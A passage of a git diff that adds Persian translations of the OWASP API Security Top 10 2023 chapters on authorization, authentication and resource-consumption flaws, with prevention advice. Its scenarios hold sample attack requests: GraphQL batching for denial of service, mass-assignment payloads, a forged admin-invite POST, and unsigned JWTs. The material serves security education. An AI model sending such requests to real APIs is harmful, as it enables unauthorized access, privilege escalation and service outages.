فروشگاه دسترسی یابد. + +### سناریو #2 +یک تولیدکننده خودرو از طریق یک API امکان کنترل از راه دور خودروها را برای ارتباط با تلفن همراه راننده فراهم کرده است. این API به راننده این امکان را می‌دهد که موتور خودرو را از راه دور روشن و خاموش کند و درب‌ها را قفل و باز کند. در این فرآیند، کاربر شماره شناسایی خودرو (VIN) را به API ارسال می‌کند. متأسفانه، API قادر به اعتبارسنجی نمی‌باشد که آیا VIN به ماشینی کاربر وارد شده اختصاص دارد یا نه. این مشکل منجر به وقوع یک آسیب‌پذیری به نام BOLA می‌شود و به این ترتیب مهاجم می‌تواند به خودروهایی دسترسی پیدا کند که به او تعلق ندارند. + +### سناریو #3 +یک سرویس ذخیره‌سازی اسناد آنلاین به کاربران این امکان را می‌دهد که اسناد خود را مشاهده، ویرایش، ذخیره و حذف کنند. هنگامی که کاربری یکی از اسناد خود را حذف می‌کند، یک عملیات درخواستی به نام GraphQL Mutation با استفاده از شناسه (ID) مربوط به سند حذف‌شده به API ارسال می‌شود. این درخواست GraphQL به API اطلاع می‌دهد که یک سند باید حذف شود و API مسئول انجام این عملیات حذف است. + +## چگونه از آسیب‌پذیری مجوزدهی نادرست در سطح اشیاء پیشگیری کنیم؟ + +- بکارگیری یک مکانیزم مجوزدهی که بر خط مشی و سلسله مراتب کاربری تمرکز دارد. +- استفاده از یک مکانیزم مجوزدهی برای بررسی اینکه آیا کاربر واردشده مجوز لازم برای انجام عملیات درخواستی بر روی رکورد در تمامی توابعی که از کلاینت، ورودی می‌گیرند تا به رکورد مذکور در پایگاه داده دسترسی داشته باشند را دارا است یا خیر؟ +- ارجحیت استفاده از مقادیر تصادفی و غیرقابل پیش بینی بعنوان GUID برای شناسه رکوردها. +- طراحی آزمون‌هایی برای ارزیابی صحت عملکرد مکانیزم‌های مجوزدهی. + +## مراجع + +- [Authorization Cheat Sheet][1] +- [Authorization Testing Automation Cheat Sheet][2] + +### خارجی +- [CWE-285: Improper Authorization][3] +- [CWE-639: Authorization Bypass Through User-Controlled Key][4] + + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html +[2]: https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html +[3]: https://cwe.mitre.org/data/definitions/285.html +[4]: https://cwe.mitre.org/data/definitions/639.html +[5]: ./0xa5-broken-function-level-authorization.md diff --git a/editions/2023/fa/0xa2-broken-authentication.md b/editions/2023/fa/0xa2-broken-authentication.md new file mode 100644 index 000000000..723f5b10b --- /dev/null +++ b/editions/2023/fa/0xa2-broken-authentication.md @@ -0,0 +1,85 @@ +# API2:2023 احرازهویت نادرست کاربر + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: متوسط | پیامد فنی: شدید / خاص کسب و کار | +|دسترسی همه به سیستم احراز هویت موجب می‌شود تا این مکانیزم هدفی آسان و در دسترس برای مهاجمین باشد. با اینکه برای بهره‌برداری از برخی از مشکلات احراز هویت ممکن است مهارت‌های فنی پیشرفته‌تری لازم باشد، ابزارهای بهره‌برداری مرتبط در دسترس هستند.|درک نادرست توسعه‌دهندگان نرم‌افزار و مهندسان امنیتی از مفاهیم مرتبط با احراز هویت و پیچیدگی پیاده‌سازی داخلی، منجر به اشتباهاتی در فهم چگونگی کارکرد و اهمیت مسائل احراز هویت می‌شود. این اشتباهات باعث می‌شود که مشکلات مرتبط با احراز هویت به طور گسترده‌تر و رایج‌تری در نرم‌افزارها و سیستم‌های مختلف پدیدار شود. روش‌ها و رویکردهایی برای شناسایی و تشخیص این نوع اشکالات در احراز هویت وجود دارد و تولید آنها نیز به طور کلی آسان است. به عبارت دیگر، می‌توان به راحتی ابزارها و روش‌هایی برای کشف و پیگیری مشکلات احراز هویت در نرم‌افزارها ایجاد کرد.|مهاجمین می‌توانند به حساب‌های کاربری سایر کاربران دسترسی یافته، اطلاعات شخصی آنها را خوانده و عملیات حساس (نظیر نقل و انتقالات مالی و ارسال پیام‌های شخصی) را از طرف آنها انجام دهد.| + +## آیا API از نظر احرازهویت نادرست کاربر آسیب‌پذیر است؟ + +نقاط، توابع و جریان‌های احرازهویت API دارایی‌هایی هستند که بایستی محافظت شوند. همچنین توابع «فراموشی گذرواژه یا بازیابی گذرواژه» نیز بایستی در زمره مکانیزم‌های احرازهویت در نظر گرفته شوند. +یک API از منظر احرازهویت نادرست کاربر، آسیب‌پذیر است اگر: +- اجازه حمله درج هویت را بدهد که در آن مهاجم از لیستی از نام‌های کاربری و گذرواژه‌های معتبر استفاده می‌نماید. +- بدون استفاده از مکانیزم‌های CAPTCHA یا قفل کردن حساب کاربری اجازه حمله Brute Force روی یک حساب کاربری را بدهد. +- اجازه استفاده از گذرواژه‌های ضعیف را بدهد. +- جزئیات و داده‌های حساس مرتبط با احرازهویت از قبیل توکن‌های اصالت سنجی و گذرواژه‌ها را از طریق URL ارسال نماید. +- اصالت توکن‌ها را به بوته آزمون نگذارد. +- توکن‌ JWT ضعیف یا بدون امضا (`{"alg":"none"}`) را بپذیرد یا تاریخ انقضای آنها را اعتبارسنجی ننماید. +- از گذرواژه‌های آشکار ، رمزگذاری نشده یا درهم سازی شده بصورت ضعیف استفاده نماید. +- از کلیدهای رمزگذاری ضعیف بهره ببرد. + +علاوه بر این، یک میکروسرویس آسیب‌پذیر است اگر: +- میکروسرویس‌های دیگر بدون احراز هویت به آن دسترسی پیدا کنند. +- از توکن‌های ضعیف یا قابل پیش‌بینی برای اعمال احراز هویت استفاده کند. + +## مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +درج هویت (استفاده از لیستی از نام‌های کاربری یا گذرواژه‌های شناخته شده) حمله‌ای رایج است. اگر اپلیکیشن از مکانیزم‌های حفاظتی خودکار در مقابل تهدیداتی نظیر درج هویت بهره نبرده باشد، آنگاه اپلیکیشن می‌تواند بعنوان یک پیشگوی گذرواژه یا آزمونگر جهت بررسی صحت اطلاعات هویتی جهت عبور از مکانیزم احرازهویت بکار رود. + +برای انجام احراز هویت کاربر، مشتری باید یک درخواست API مشابه مورد زیر را با اطلاعات ورود کاربر، صادر کند: + +``` +POST /graphql +{ + "query":"mutation { + login (username:""password:"") { + token + } + }" +} +``` + +### سناریو #2 + +برای به‌روزرسانی آدرس ایمیل مرتبط با حساب کاربران، مشتریان باید یک درخواست API مانند درخواست زیر را ارسال کنند: + +``` +PUT /account +Authorization: Bearer + +{ "email": "" } +``` + +## چگونه از ‌آسیب‌پذیری احرازهویت نادرست کاربر پیشگیری کنیم؟ + +- حصول اطمینان از آنکه تمامی جریان‌های ممکن برای احراز هویت API (موبایل یا وب، سایر لینک‌هایی که از مکانیزم احرازهویت با یک کلیک و غیره) شناسایی شده است. در این زمینه می‌توانید با توسعه دهندگان و مهندسین مشورت کنید. +- مطالعه و فهم کامل مکانیزم‌های احرازهویت استفاده شده در اپلیکیشن؛ بایستی درنظر داشت که OAuth و کلیدهای API نمی‌توانند بعنوان مکانیزمی برای احرازهویت به شمار آیند. +- در مساله احرازهویت، تولید توکن و ذخیره‌سازی گذرواژه، نباید چرخ را از ابتدا اختراع کرد بلکه بایستی از استانداردها استفاده نمود. +- توابع بازیابی یا فراموشی گذرواژه بایستی از منظر محافظت در مقابل Brute Force، محدودسازی نرخ و قفل شدن حساب کاربری هم ارز با توابع و نقاط ورود در نظر گرفته شود. +- برای عملیات‌ حساس (مانند تغییر آدرس ایمیل مالک حساب/شماره تلفن مربوط به احراز هویت دو عاملی)، نیاز به احراز هویت مجدد می‌باشد. +- از راهنمای احرازهویت [OWASP][1] استفاده شود. +- بکارگیری احرازهویت چندعاملی ، در هر جا که امکان داشت. +- برای کاهش حملات درج هویت، Dictionary و Brute force، مکانیزم‌های ضد حمله Brute force را پیاده‌سازی کنید. این مکانیزم‌ها باید سخت‌گیرانه‌تر از مکانیزم‌های معمول محدودیت نرخ در APIها باشند. +- برای جلوگیری از حملات brute force بر روی کاربران خاص، مکانیزم‌های [قفل کردن حساب کاربری][2] و استفاده از CAPTCHA و برای افزایش امنیت، روش‌های شناسایی رمزهای عبور ضعیف نیز باید پیاده‌سازی شوند. +- کلید‌های API نباید برای احراز هویت کاربران استفاده شوند و تنها می‌بایست برای احراز هویت [مشتریان API][3] مورد استفاده قرار گیرند. + +## مراجع + +- [OWASP Key Management Cheat Sheet][1] +- [OWASP Authentication Cheatsheet][4] +- [Credential Stuffing][5] + +### خارجی + +- [CWE-204: Observable Response Discrepancy][6] +- [CWE-307: Improper Restriction of Excessive Authentication Attempts][7] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism(OTG-AUTHN-003) +[3]: https://cloud.google.com/endpoints/docs/openapi/when-why-api-key +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Key_Management_Cheat_Sheet.html +[5]: https://owasp.org/www-community/attacks/Credential_stuffing +[6]: https://cwe.mitre.org/data/definitions/204.html +[7]: https://cwe.mitre.org/data/definitions/307.html diff --git a/editions/2023/fa/0xa3-broken-object-property-level-authorization.md b/editions/2023/fa/0xa3-broken-object-property-level-authorization.md new file mode 100644 index 000000000..fdd3bb7df --- /dev/null +++ b/editions/2023/fa/0xa3-broken-object-property-level-authorization.md @@ -0,0 +1,110 @@ +# API3:2023 نقض مجوزدهی در سطح ویژگی‌های شیء + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: متوسط / خاص کسب و کار | +| APIها معمولاً اطلاعات تمام ویژگی‌های شیء درخواستی را به کاربر ارائه می‌دهند. این ویژگی در APIهای REST بسیار رایج است. در مقابل، در پروتکل‌های دیگر مانند GraphQL، شما می‌توانید درخواست‌های دقیق‌تری برای بازگشت ویژگی‌های خاص از یک شیء ارسال کنید. درنتیجه کنترل دقیق‌تری بر روی داده‌های دریافتی خواهید داشت. آگاهی از اینکه کدام ویژگی شیء، اضافی است دشوار است؛ زیرا ویژگی‌های اضافی ممکن است بسته به شرایط، تغییر کنند، اما ابزارهای خودکاری نیز وجود دارند که به تشخیص و مدیریت این ویژگی‌ها کمک می‌کنند. | بررسی پاسخ‌های API، روشی برای شناسایی اطلاعات حساس می‌باشد که از طریق این شناسایی می‌توان ویژگی‌های اضافی و پنهان را کشف کرد. از تکنیک‌هایی مانند فازینگ برای شناسایی ویژگی‌های اضافی استفاده می‌شود. اگر می‌خواهید بفهمید که آیا این ویژگی‌ها قابل تغییر هستند یا نه، باید درخواست‌های API خاصی را ارسال کرده و پس از تجزیه و تحلیل پاسخ‌های دریافتی درباره حساسیت اطلاعات موجود در آن، تصمیم بگیرید. در صورتی که ویژگی مورد نظر در پاسخ API نباشد، ممکن است نیاز به تحلیل اثرات جانبی داشته باشید تا بتوانید ویژگی مورد نظر را شناسایی و کنترل کنید.| دسترسی غیرمجاز به ویژگی‌های حساس یا خصوصی شیء، ممکن است منجر به افشا، از دست دادن یا خرابی داده شود. در شرایط خاص، دسترسی غیرمجاز به ویژگی‌های شیء می‌تواند به ارتقاء سطح دسترسی یا تصاحب جزئی/کامل حساب کاربری منجر شود.| + +## آیا API از نظر نقض مجوزدهی در سطح ویژگی‌های شیء ‌آسیب‌پذیر است؟ + +هنگامی که از طریق یک endpoint به یک کاربر اجازه دسترسی به یک شیء می‌دهید، دقت کنید که کاربر تنها به ویژگی‌های مجاز دسترسی داشته باشد. +endpoint آسیب‌پذیر است اگر: + +1. ویژگی‌های حساس یک شیء را به کاربر غیرمجاز، افشا ‌کند (این مورد قبلاً با نام "افشای مفرط داده" نامگذاری شده بود). +2. به کاربر اجازه ‌دهد که مقدار یک ویژگی حساس شیء را که کاربر نباید به آن دسترسی داشته باشد، تغییر داده، اضافه یا حذف کند (این مورد قبلاً با نام "تخصیص جمعی" نامگذاری شده بود). + +### مثال‌هایی از سناریوهای حمله + +### سناریو #1 + +یک برنامه دوستیابی به کاربر این امکان را می‌دهد که رفتار نامناسب دیگر کاربران را گزارش کند. در این فرآیند، کاربر روی دکمه "گزارش" کلیک کرده و API زیر را فراخوانی می‌کند: + +``` +POST /graphql +{ + "operationName":"reportUser" + "variables":{ + "userId": 313 + "reason":["offensive behavior"] + } + "query":"mutation reportUser($userId: ID! $reason: String!) { + reportUser(userId: $userId reason: $reason) { + status + message + reportedUser { + id + fullName + recentLocation + } + } + }" +} +``` + +### سناریو #2 + +یک پلتفرم اجاره اقامتگاه آنلاین را در نظر بگیرید که در آن به کاربران میزبان اجازه می‌دهد که آپارتمان خود را به کاربران مهمان اجاره دهند. میزبان می‌بایست پیش از اقدام به پرداخت مهمان، درخواست رزرو وی را تأیید کند. +` +``` +{ + "approved": true + "comment": "Check-in is after 3pm" +} +``` + +میزبان می‌تواند درخواست معتبر را تکرار کرده و پیام‌های مخرب زیر را اضافه کند: +` +``` +{ + "approved": true + "comment": "Check-in is after 3pm" + "total_stay_price": "$1000000" +} +``` + +### سناریو #3 + +یک شبکه اجتماعی که برای نمایش ویدیوهای کوتاه ساخته شده است، اقدام به اعمال فیلترینگ محتوا و سانسور محتوای کاربران می‌نماید. حتی اگر ویدیوی آپلود شده مسدود شود، کاربر می‌تواند توضیحات ویدیو را با استفاده از درخواست API زیر تغییر دهد: + +``` +PUT /api/video/update_video + +{ + "description": "a funny video about cats" +} +``` + +یک کاربر ناراضی می‌تواند درخواست معتبر را تکرار کرده و پیام‌های مخرب زیر را به درخواست اضافه کند: + +``` +{ + "description": "a funny video about cats" + "blocked": false +} +``` + +## چگونه از ‌آسیب‌پذیری نقض مجوزدهی در سطح ویژگی‌های شیء پیشگیری کنیم؟ + +- هنگام ارائه یک شیء از طریق endpoint، همیشه اطمینان حاصل کنید که کاربر از قبل به ویژگی‌های ارائه شده، دسترسی داشته باشد. +- اجتناب از استفاده از متدهای عمومی `to_json` و `to_string` و در عوض شناسایی کردن تک تک ویژگی‌ها و مشخصه‌هایی که برای پاسخ ضروری هستند. +- در صورت امکان، از توابعی که به طور خودکار ورودی کاربر را به متغیرهای کد، اشیاء داخلی یا ویژگی‌های شیء متصل می‌کنند ("تخصیص جمعی") استفاده نکنید. +- کاربر تنها بتواند ویژگی‌های مشخص و مجاز شیء را بروزرسانی کند. +- بکارگیری یک مکانیزم اعتبارسنجی الگومحور برای بررسی اعتبار پاسخ‌ها بعنوان یک لایه امنیتی دیگر و همچنین تعریف و اعمال این مکانیزم بر روی داده بازگردانده شده تمامی APIها از جمله خطاها. +- بر اساس نیازهای متد درخواستی، ساختارهای داده بازگردانده شده را در حداقل مقدار ممکن نگه دارید. + +## مراجع + +- [API3:2019 Excessive Data Exposure - OWASP API Security Top 10 2019][1] +- [API6:2019 - Mass Assignment - OWASP API Security Top 10 2019][2] +- [Mass Assignment Cheat Sheet][3] + +### خارجی + +- [CWE-213: Exposure of Sensitive Information Due to Incompatible Policies][4] +- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes][5] + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html +[4]: https://cwe.mitre.org/data/definitions/213.html +[5]: https://cwe.mitre.org/data/definitions/915.html diff --git a/editions/2023/fa/0xa4-unrestricted-resource-consumption.md b/editions/2023/fa/0xa4-unrestricted-resource-consumption.md new file mode 100644 index 000000000..1040fc312 --- /dev/null +++ b/editions/2023/fa/0xa4-unrestricted-resource-consumption.md @@ -0,0 +1,115 @@ +# API4:2023 استفاده نامحدود از منابع + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: متوسط | میزان شیوع: گسترده/ قابلیت تشخیص: آسان | پیامد فنی: شدید / خاص کسب و کار | +|بهره برداری از این آسیب‌پذیری نیاز به ارسال درخواست‌های ساده‌ای به سوی API دارد. کافی است تعدادی درخواست هم‌زمان از یک ماشین و یا با استفاده از منابع رایانش ابری به سوی API ارسال گردد تا بتوان از این آسیب‌پذیری بهره برد. اکثر ابزارهای خودکاری که موجود هستند، به منظور ایجاد حمله DoS از طریق بارگذاری حجم زیادی از ترافیک طراحی شده‌اند که این کار می‌تواند به سرویس‌دهی APIها آسیب رسانده و سرعت آن‌ها را کاهش دهد.|یافتن APIهایی که محدودسازی نرخ ارسال را بکار نگرفته یا محدودیت‌های اعمال شده آنها ناکافی است، کار دشواری نیست. برای شناسایی این مشکل، مهاجمان می‌توانند درخواست‌های API را با پارامترهای خاصی طراحی کنند که تعداد منابعی را که API باز می‌گرداند، تغییر دهند. سپس با تجزیه و تحلیل وضعیت، زمان، و طول پاسخ‌های دریافتی، مشکل را شناسایی کنند. این موضوع برای عملیات‌های دسته‌ای هم صدق می‌کند. مهاجمان می‌توانند درخواست‌های دسته‌ای را با تغییر تعداد منابعی که در هر درخواست بازگشت داده می‌شوند، ارسال کرده و با ایجاد بارگذاری نامتعادل، اثرات منفی بر روی سرویس API ایجاد کنند. ممکن است مهاجمان اطلاعی از هزینه‌های اقتصادی حملات خود برای ارائه‌دهندگان خدمات نداشته باشند، اما می‌توانند با تحلیل مدل تجاری و قیمت‌گذاری خدمات، اثرات مالی این حملات را تخمین بزنند. |بهره برداری از این آسیب‌پذیری می‌تواند منجر به بروز DoS شده، در نتیجه API را از پاسخ به درخواست‌ها باز دارد و یا حتی آن را از دسترس خارج نماید. استفاده از این آسیب‌پذیری می‌تواند به دو شکل تأثیر منفی داشته باشد. اولاً، می‌تواند منجر به حمله DoS شده و منابع سیستم را اشغال کند. دوماً، به دلیل افزایش تقاضا بر روی واحدهای پردازشی، افزایش نیاز به فضای ذخیره‌سازی ابری و موارد مشابه می‌تواند منجر به افزایش هزینه‌های عملیاتی مرتبط با زیرساخت شود.| + +### آیا API از نظر مصرف بدون محدودیت منابع ‌‌آسیب‌پذیر است؟ + +درخواست‌‌های ارسال شده به سوی API منابعی از قبیل پهنای باند شبکه، پردازنده، حافظه و فضای ذخیره‌سازی را مصرف می‌کنند. برخی از منابع مورد نیاز برای اجرای درخواست‌های API از طریق دیگر ارائه‌دهندگان خدمات API فراهم می‌شوند. این منابع ممکن است شامل ارسال ایمیل، پیام متنی، تماس تلفنی یا اعتبارسنجی بیومتریک و موارد مشابه باشند. +اگر دست‌کم یکی از محدودیت‌‌های زیر در سمت API به کلی اعمال نشده یا بطور نادرست (مثلا بیش از حد زیاد یا بیش از حد کم) ‌‌‌‌پیاده‌سازی شده باشد آنگاه API از منظر محدودیت یا کمبود نرخ ارسال، ‌‌آسیب‌پذیر خواهد بود: +- Time Out اجرا +- حداکثر میزان حافظه قابل تخصیص +- حداکثر تعداد توصیف‌گر فایل‌‌ها +- حداکثر تعداد پردازه‌‌ها +- حداکثر سایز بارگزاری فایل +- تعداد فراخوانی‌هایی که یک کلاینت می‌تواند در یک درخواست واحد انجام دهد (مانند GraphQL batching) +- تعداد رکوردهای بازگردانده شده در هر صفحه +- حداکثر هزینه‌ای که ارائه‌دهندگان خدمات شخص ثالث می‌توانند از مشتریان دریافت کنند + +## مثال‌‌هایی از سناریوهای حمله + +### سناریو #1 + +یک شبکه اجتماعی بخش "فراموشی رمز عبور" را با استفاده از روش تأییدیه پیامکی پیاده‌سازی کرده است. کاربر پس از دریافت یک توکن یک‌بار مصرف از طریق پیامک، می‌تواند رمز عبور خود را بازنشانی کند. با کلیک بر روی گزینه "فراموشی رمز عبور"، API مرتبط از مرورگر کاربر به API Back-End ارسال می‌شود: + +``` +POST /initiate_forgot_password + +{ + "step": 1, + "user_number": "6501113434" +} +``` + +در پس‌زمینه، یک تماس API از سمت سرور به یک API از شخص ثالثی که وظیفه تحویل پیامک را دارد، ارسال می‌شود: + +``` +POST /sms/send_reset_pass_code + +Host: willyo.net + +{ + "phone_number": "6501113434" +} +``` +سرویس دهنده طرف ثالث با نام willyo ، برای هر تماس از این نوع، مبلغ ۰.۰۵ دلار هزینه می‌کند. مهاجم اسکریپتی می‌نویسد که اولین تماس API را ده‌ها هزار بار ارسال می‌کند. سپس بخش پشتیبانی از طریق درخواست از willyo می‌خواهد تا ده‌ها هزار پیام متنی ارسال کند که سبب می‌شود تا در عرض چند دقیقه هزاران دلار را از دست بدهد. + +### سناریو #2 + +کاربر از طریق GraphQL API می‌تواند تصویر پروفایل خود را بارگذاری کند + +``` +POST /graphql + +{ + "query": "mutation { + uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") { + url + } + }" +} +``` +بعد از اتمام عملیات بارگذاری تصویر توسط کاربر، API چندین تصویر کوچک با اندازه‌های مختلف از روی تصویر اصلی ایجاد می‌کند. این عملیات گرافیکی نیاز به حافظه زیادی از سرور دارد. API مذکور، از مکانیزم محدودیت نرخ سنتی استفاده می‌کند، به این معنا که یک کاربر نمی‌تواند در یک دوره زمانی کوتاه تعداد زیادی درخواست به تابع انتهایی GraphQL ارسال کند. همچنین، قبل از ایجاد تصاویر کوچک از تصویر بارگذاری شده، اندازه تصویر بارگذاری شده را بررسی می‌کند تا از پردازش تصاویری که بسیار بزرگ هستند جلوگیری کند. مهاجم می‌تواند با ارسال درخواست‌های مختلف و با حجم زیاد، از این مکانیزم‌ها عبور کرده و به تابع انتهایی GraphQL دسترسی پیدا کند: + +``` +POST /graphql + +[ + {"query": "mutation {uploadPic(name: \"pic1\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + {"query": "mutation {uploadPic(name: \"pic2\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, + ... + {"query": "mutation {uploadPic(name: \"pic999\", base64_pic: \"R0FOIEFOR0xJVA…\") {url}}"}, +} +``` +به علت عدم محدودیت در تعداد دفعات انجام عملیات uploadPic، این تماس منجر به اشغال حافظه سرور و وقوع DoD خواهد شد. + +### سناریو #3 + +یک سرویس دهنده، به مشتریان اجازه می‌دهد که با استفاده از API آنها، فایل‌هایی با حجم دلخواه دانلود کنند. این فایل‌ها در فضای ابری ذخیره شده و اغلب تغییری نمی‌کنند. این سرویس دهنده برای بهبود نرخ ارائه خدمات و کاهش مصرف پهنای باند به یک سرویس حافظه‌پنهان مورد اعتماد نیاز دارد. این سرویس فقط فایل‌هایی را ذخیره می‌کند که حداکثر ۱۵ گیگابایت حجم دارند. اگر یکی از فایل‌ها بروزرسانی شده و اندازه آن به ۱۸ گیگابایت افزایش ‌یابد، همه مشتریان سرویس فورا نسخه جدید را دریافت می‌کنند. از آنجا که هیچ هشداری در مورد هزینه مصرفی وجود نداشته و مقدار حداکثری برای هزینه سرویس ابری تعیین نشده بود، صورت‌حساب ماهیانه بعدی از ۱۳ دلار به طور میانگین به ۸ هزار دلار افزایش می‌یابد. + +## چگونه از ‌‌آسیب‌پذیری مصرف بدون محدودیت منابع پیشگیری کنیم؟ + +- محدودسازی [حافظه][1]، [پردازنده][2]، [تعداد دفعات راه اندازی مجدد][3]، [توصیف‌گرهای فایل][4] و پردازه‌‌ها با استفاده از کانتینرها یا کد بدون سرور (مانند Lambdas). +- تعریف و اِعمال بیشینه اندازه داده (نظیر بیشینه طول برای رشته‌‌ها یا بیشینه تعداد عناصر در آرایه‌‌ها) در درخواست‌‌ها و محموله‌‌های ورودی. +- اعمال محدودیت بر تعداد دفعات تعامل با API در یک دوره زمانی مشخص (محدودیت نرخ). +- محدودیت نرخ باید بر اساس نیازهای کسب و کار بهبود یابد. +- محدود کردن تعداد دفعات اجرای عملیات مربوط به یک API توسط یک مشتری/کاربر در زمان مشخص. +- اجرای یک فرآیند اعتبارسنجی دقیق در طرف سرور برای پارامترهایی که به صورت متغیر در رشته‌های پرس‌وجو وجود دارند. +- پیکربندی محدودیت‌ مقدار مصرف برای تمام سرویس دهندگان API. اگر تنظیم محدودیت‌ مقدار مصرف امکان‌پذیر نیست، به جای آن باید هشدارهای مالی پیکربندی شوند. + +## مراجع + +- [Web Service Security Cheat Sheet - OWASP][5] +- [DoS Prevention - GraphQL Cheat Sheet][6] +- [Mitigating Batching Attacks - GraphQL Cheat Sheet][7] + +### خارجی + +- [CWE-770: Allocation of Resources Without Limits or Throttling][8] +- [CWE-400: Uncontrolled Resource Consumption][9] +- [CWE-799: Improper Control of Interaction Frequency][10] +- “Rate Limiting (Throttling)” - [Security Strategies for Microservices-based Application Systems][11], NIST + +[1]: https://docs.docker.com/config/containers/resource_constraints/#memory +[2]: https://docs.docker.com/config/containers/resource_constraints/#cpu +[3]: https://docs.docker.com/engine/reference/commandline/run/#restart +[4]: https://docs.docker.com/engine/reference/commandline/run/#ulimit +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html#availability +[6]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#dos-prevention +[7]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html#mitigating-batching-attacks +[8]: https://cwe.mitre.org/data/definitions/770.html +[9]: https://cwe.mitre.org/data/definitions/400.html +[10]: https://cwe.mitre.org/data/definitions/799.html +[11]: https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-204.pdf diff --git a/editions/2023/fa/0xa5-broken-function-level-authorization.md b/editions/2023/fa/0xa5-broken-function-level-authorization.md new file mode 100644 index 000000000..45a951542 --- /dev/null +++ b/editions/2023/fa/0xa5-broken-function-level-authorization.md @@ -0,0 +1,61 @@ +# API5:2023 نقض مجوزدهی در سطح توابع + +| ضعف امنیتی | عوامل تهدید / مسیر حمله | پیامد | +|---------|--------------------|------------| +| خاص API / قابلیت بهره‌برداری: آسان | میزان شیوع: متداول/ قابلیت تشخیص: آسان | پیامد فنی: شدید / خاص کسب و کار | +| بهره برداری از این ‌‌آسیب‌پذیری یعنی ارسال فراخوانی‌های API درست[^1] توسط مهاجم به سوی تابع انتهاییAPI در ارتباط با فراخوانی‌هایی که مهاجم مجوز آنها را ندارد. این Endpointها ممکن است در معرض دید کاربران ناشناس، بدون مجوز یا با مجوز عادی قرار داشته باشند. برای مهاجم تشخیص وجود چنین نواقصی در API آسان تر است چرا که ساختارمندتر بوده و نحوه دسترسی آنها به توابع، قابل پیش بینی تر است (مثلا تغییر متد HTTP از GET به PUT یا تغییر رشته “users” در URL به “admins”). | کنترل‌های مجوزدهی برای توابع یا منابع غالبا در سطح پیکربندی یا کد مدیریت می شوند. بکارگیری کنترل‌های مناسب می‌تواند گیج کننده باشد چرا که اپلیکیشن‌های مدرن امروزی غالبا دارای انواع مختلفی از نقش‌ها و گروه‌ها و سلسله مراتب کاربری هستند (مثلا کاربران دارای بیش از یک نقش). کشف نقائص در API ها به علت ساختار سازمان‌مندتر و همچنین پیش‌بینی‌پذیری بالاتر در دسترسی به توابع مختلف، نسبت به سایر بخش‌های نرم‌افزاری، ساده‌تر است. | چنین مشکلاتی منجر به دسترسی غیرمجاز مهاجم به توابع می‌شود. در این صورت توابع مدیریتی[^2] از جمله اهداف کلیدی مهاجم خواهند بود و ممکن است منجر به افشا، از دست رفتن یا خرابی داده شده و اختلال در خدمات را به دنبال داشته باشد. | + +## آیا API از نظر نقض مجوزدهی در سطح توابع ‌‌آسیب‌پذیر است؟ + +بهترین راه یافتن مشکلات مجوزدهی در سطح توابع، تحلیل عمیق مکانیزم مجوزدهی با لحاظ کردن سلسله مراتب کاربران، نقش‌‌‌ها و گروه‌‌‌های متفاوت موجود در اپلیکیشن و پرسیدن پرسش‌‌‌های زیر است: +- آیا کاربر عادی می‌تواند به توابع و نقاط مدیریتی در API دسترسی داشته باشد؟ +- آیا کاربری می‌تواند عمل حساسی که مجوز انجام آن را ندارد (نظیر ایجاد، تغییر یا حذف) را صرفا با تغییر متد HTTP (مثلا از GET به DELETE) انجام دهد؟ +- آیا کاربری از گروه X می‌تواند صرفا با حدس زدن URLهای توابع و پارامترهای آن به مسیری (نظیر /api/v1/users/export_all) که فقط باید برای کاربران گروه Y قابل مشاهده باشد دسترسی یابد؟ +بایستی در نظر داشت که عادی یا مدیریتی بودن یک تابع در API (همان API Endpoint) صرفا بر مبنای مسیر URL تعیین نمی‌شود. +در حالیکه توسعه دهندگان بیشتر تمایل دارند که توابع مدیریتی را ذیل یک مسیر نسبی معین مانند api/admin قرار دهند، اما بسیار دیده می شود که این توابع مدیریتی در کنار توابع عادی در مسیرهایی نظیر api/users قرار داده شده‌اند. + +## مثال‌‌‌هایی از سناریوهای حمله + +### سناریو #1 + +در خلال فرایند ثبت نام در یک اپلیکیشن که فقط به کاربران دعوت شده اجازه عضویت می‌دهد، اپلیکیشن موبایل، یک فراخوانی API به `GET /api/invites/{invite_guid}` می‌فرستد. پاسخ دریافتی فایل JSONی را دارا است که درون آن اطلاعات دعوتنامه‌‌‌ها شامل نقش کاربر و آدرس ایمیل وی دیده می‌شود. + +مهاجم درخواست مذبور را ضبط کرده و متد HTTP را به `POST /api/invites/new` تغییر می‌دهد. این تابع تنها بایستی از طریق کنسول مدیریت و برای ادمین‌‌‌ها قابل دسترسی باشد که بعلت عدم بکارگیری کنترل‌‌‌های صحیح مجوزدهی درسطح توابع اینگونه نیست. + +در گام بعد مهاجم از این مساله بهره برداری کرده و برای خود دعوتنامه‌ای جهت ساخت یک اکانت ادمین می‌فرستد: + +```http +POST /api/invites/new +{“email”:”hugo@malicious.com””role”:”admin”} +``` + +### سناریو #2 + +یک API دارای تابعی است که فقط 